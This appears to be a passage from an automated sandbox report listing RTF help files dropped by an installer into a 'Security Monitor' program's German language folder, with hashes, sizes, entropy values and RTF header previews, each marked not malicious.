MD5:	61D796543650EBE8C4A143DCAFAE4D24
SHA1:	54CD649E28D6442AA3946EE9891A156A68A3B2CB
SHA-256:	585B560159CC4BDB9361F30B002CE9AA44AD510FB30A61257076810146B2D918
SHA-512:	201BFB392E79FBC5A62A63610CD19B009ED98C54D5DF34B86C696C757175CD1DB3650B0CE0938C5C3529BD155C9E63E158D153588C723A1F968BDDBF05017A68
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdb

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-O8R4C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	43674
Entropy (8bit):	5.051136691912746
Encrypted:	false
SSDEEP:	768:Bwq6xdo1SeUGLicPI0QhhiLVptabQhOsWx2s2x7yjxsqoLq2IDSssDSsaD0iHw8V:BErUneKsyIA90
MD5:	03D5DC91896BD88D15D82608B85FA10A
SHA1:	741A620D22C4A157211C2972E53AF6C402E00036
SHA-256:	0EB740A746A33237558E99DA3599DE9DE975F7CE6C8988CE3E602C89E130BCFD
SHA-512:	5C211CC5A33A7590C5ECF2BCBE479A0EE1AD56CA300D136A752F6BF26CEEC2643825EDC3896550E21C436DB2B76AB895818BF4C9B3EF12E3E481374E322E37EB
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-ORGS0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	53700
Entropy (8bit):	4.980792929518482
Encrypted:	false
SSDEEP:	768:qqOkbe0ULHT2njX8x3TLjwUtqYepAkVZEdvI9DfLBmKPKPqP/tPw8Ecnv7eJTEcc:qq0EfLBGIA9Jk
MD5:	4F112D455797B724837B7714D54B6621
SHA1:	20351467C091733C0E7F4848B7809D54112143FE
SHA-256:	6ED5F0BC906B1E1A884CCF648C4D81FAD8B0B6D8A13F07BC90796811E6C13035
SHA-512:	928762682FE7FFCB119E93C8AB228EBF62D63763230A2C43F76D9504DC9DB4BF85E0519C2E4245B20FAC038DC83DBDA82FDDB606FD9C7F4552CAA86B61904121
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-PT364.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	46778
Entropy (8bit):	5.04213022372363
Encrypted:	false
SSDEEP:	768:BbO4jB7F2njX8x3nF9k6Bvtk+k1pJKOQBX0hUH/EIvx9WahytOAnkWiwaTdnkmDk:B1hKIA9N
MD5:	F60A5BBD42D01BA5BE2200C53152A370
SHA1:	D5F8ED456623E3D8B44D6D87EDC705A0A27D0382
SHA-256:	7E5BED54A681A9701FBD6B6C12A4A53594DECD4B60AE8087DB96DCAD23DDF72C
SHA-512:	C66DA1A5D293F957A84B9B787B5487CD38A04DE39B4B955E1214954FE64FE14654265F942991A77816DB83BBED95818D1F5EE825B8C5AADD60B2A48EC1CEC841
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimino

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-QIOUR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	52996
Entropy (8bit):	5.037460927420348
Encrypted:	false
SSDEEP:	768:Bk31e0/Yzc00QfHyUCp5N7G5V5V5h5G5P5N5TRrbGY+FNSdE2CUuHctO9P0CS0t0:BV0kIA9I
MD5:	77A17A8F48C96F611F14429D732C1F73
SHA1:	FE3F09AF1390F0C2F780A172450B3CCF54A09CD0
SHA-256:	F2B98A3175FC09320625C396606DA5058A192A5AF54A0C61D491E5FCB7EC96C4
SHA-512:	3A3AE1E13D1E24081A3913B34638DA25DC2FF39BBFB3151464B0E330828D9A3E3AB876E546E90C11E858FF1611F02686874D1106AF59A79F6399EC5DA7F60C26
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \from

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-RS6T4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42553
Entropy (8bit):	5.039163820303254
Encrypted:	false
SSDEEP:	768:qqOkDx1eVGh+DoLLXI1nhDGi3w2EHlT2njX8x3DldDMomI6u5DumZ/6A9X:qqb5nIA9X
MD5:	34E55F7E9F1B2541BE0A17FB6871F9C9
SHA1:	C9E188BCC39C88251CE9CBBA13E20F7BCA48F89F
SHA-256:	B02273E5A9A45909D24B7349E45BE521B9421CB93CE1803BAE7B4FA317443376
SHA-512:	D2C86622CD0726F5A480D11A3734C742D82853467CF3C1FB36F9ADE0873227862E26C366B8DD1E45B8D48F6AF62BA22FCD2C4C8FEEEEC6740B290F3E814ED65D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-S5VVI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	36818
Entropy (8bit):	5.041090274116406
Encrypted:	false
SSDEEP:	768:BbKxdCpT2njX8x3fDVyOvjU0EGi2YuWZ/6A9m:Bs2TyIA9m
MD5:	FF313FAF3C594763F16D083E7036D86A
SHA1:	E0C366F97CBF210063B17FA453D0A2EAA879953A
SHA-256:	FA691CAE1E17899C0EFA053BE2EFDF95D9E4F13C10F02A7683FA5C88E66F52EA
SHA-512:	2D64CF19B391D3900226225EE74DB20DD5542A1F2A8635A92CB83C0B948A815B5FC28ADF979713417EE97EAE0CB02CCD1E2FF1EA5648A9C250DE60221177FEA5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimino

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-SVP0V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	64658
Entropy (8bit):	4.992463300868246
Encrypted:	false
SSDEEP:	768:qqFke4jXLHT2njX8x3TLjwUtqYepAkVZEdvI9voCgsKBd79zqfAx4thgC4jFBo73:qqYGoCgkQ8FIA9r
MD5:	79EAEF5F915091EA8A19A2D69C8312D9
SHA1:	E91E254C7772330094955B8F32835A703BD9483C
SHA-256:	D992C215B1031E0EB2BDF2262505BC1FA9E4C7DB122E31A0F63587C98427FFDD
SHA-512:	BE93BC4A17261703097AFB8F3044F4C0D0BEA076EFD694F7A166CF843BD143B951041FFF54F3A1D60869EA4DAA7EBC3E35D56C25BE991D218403A7D0B9B2C0AD
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\pano

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-TPK2S.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	42867
Entropy (8bit):	5.0494431999578
Encrypted:	false
SSDEEP:	768:BXKxdC6T2njX8x3TLjwUtqYepfwDyQbLjJAfop7ATX8zOpSyXZSpyEW7HuHlV1Z9:BYFfIA9p
MD5:	2130BD1D1919D711A5AF21035C3503CC
SHA1:	0F92AF4AD5D98942DD464C2D2DBFB2D23FC7BF1B
SHA-256:	C62CAA4DFD7ADE415A27535B12C7B80992C1617106CEA4D271D8B159D97DC724
SHA-512:	28EF2FF5A3AA227A1532E1283EB5D530F8BC45C401B346503A60CA026718D64A5CB020D198DC43B16FCD3FA751E36524D8BDDEB7E8FA9D3209B86211AB728612
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 020206

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-V2OM0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	41676
Entropy (8bit):	5.05075856281513
Encrypted:	false
SSDEEP:	768:Bwqtxdo1SeUGLicPI0QhhiLVptabQhOsWx2rvx6qk0oDHvZlLMKFZ/6A9d:BvrUneKrsIA9d
MD5:	CE47EF60A1B6296B4770FEE4454B1E06
SHA1:	5B17759D122086E5E02A32BFB947A8746EF3076D
SHA-256:	9BB74EA64A2AAEC3470E7EE10C1EE4CA70AC357CB6DDF9D6C810869B7A18BB25
SHA-512:	2727839D56824EF21AB7F3340649483F576665EE1B561A2FD72ED31158B6FE2B854880558E991DF5F9B48125A8E85A1E3D88623C0282151285FBCA5470FFE7EA
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-VEGMO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	41056
Entropy (8bit):	5.04631924061467
Encrypted:	false
SSDEEP:	768:BX9xd/KzuwlRIbQhOsWx1LCrLXI1nc9xi79Jd3z/ijPmhaohJZ/6A9h:BjsKuuIA9h
MD5:	84DEF6EB0D41C6B208DC679FBF4AAF91
SHA1:	4B6E6116E8EA25B37EF6DD43BB8062805E58A099
SHA-256:	22A596F719A6208B8EB3BF93A1025BBB9C92F31F5E3E6E37995AB58B4514B083
SHA-512:	A831344C2D1ED8E2E5339A890A6E2F96160333D90AB1469D0F20C0BF3034068AECCEF609443405E807E01F074B4E4D9CF3BD7A319B2B30FF10727D3644576453
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f297\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Arial CYR;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 020405030504060

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	41056
Entropy (8bit):	5.04631924061467
Encrypted:	false
SSDEEP:	768:BX9xd/KzuwlRIbQhOsWx1LCrLXI1nc9xi79Jd3z/ijPmhaohJZ/6A9h:BjsKuuIA9h
MD5:	84DEF6EB0D41C6B208DC679FBF4AAF91
SHA1:	4B6E6116E8EA25B37EF6DD43BB8062805E58A099
SHA-256:	22A596F719A6208B8EB3BF93A1025BBB9C92F31F5E3E6E37995AB58B4514B083
SHA-512:	A831344C2D1ED8E2E5339A890A6E2F96160333D90AB1469D0F20C0BF3034068AECCEF609443405E807E01F074B4E4D9CF3BD7A319B2B30FF10727D3644576453
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f297\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Arial CYR;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 020405030504060

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\logging.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	49864
Entropy (8bit):	5.043460580292076
Encrypted:	false
SSDEEP:	768:Bbi4jegzTJqNgVVhGPNXturfTYlDojU7FDSSmDP3QyYd9RhtAx/IFdNJf+v/AXQ0:BJkethIA9Q
MD5:	C5AC9F8F23886CDA2348A3BC382F8F9B
SHA1:	E18B97EA75873D424D0F0CDD349632CA3C96B656
SHA-256:	EC49E0ED640B29CF852E455D9D0A7666914DC7114D771F514405944F6C8D3733
SHA-512:	4A8FB239C01F8E1A163C6CB75C84884CADBAF0FA25159218D40F73F73A9255353134EA0D64800EAC40E49383085D5EFF05662B78FF43696A69A1FB591C80A7F1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimino

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	53700
Entropy (8bit):	4.980792929518482
Encrypted:	false
SSDEEP:	768:qqOkbe0ULHT2njX8x3TLjwUtqYepAkVZEdvI9DfLBmKPKPqP/tPw8Ecnv7eJTEcc:qq0EfLBGIA9Jk
MD5:	4F112D455797B724837B7714D54B6621
SHA1:	20351467C091733C0E7F4848B7809D54112143FE
SHA-256:	6ED5F0BC906B1E1A884CCF648C4D81FAD8B0B6D8A13F07BC90796811E6C13035
SHA-512:	928762682FE7FFCB119E93C8AB228EBF62D63763230A2C43F76D9504DC9DB4BF85E0519C2E4245B20FAC038DC83DBDA82FDDB606FD9C7F4552CAA86B61904121
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	64658
Entropy (8bit):	4.992463300868246
Encrypted:	false
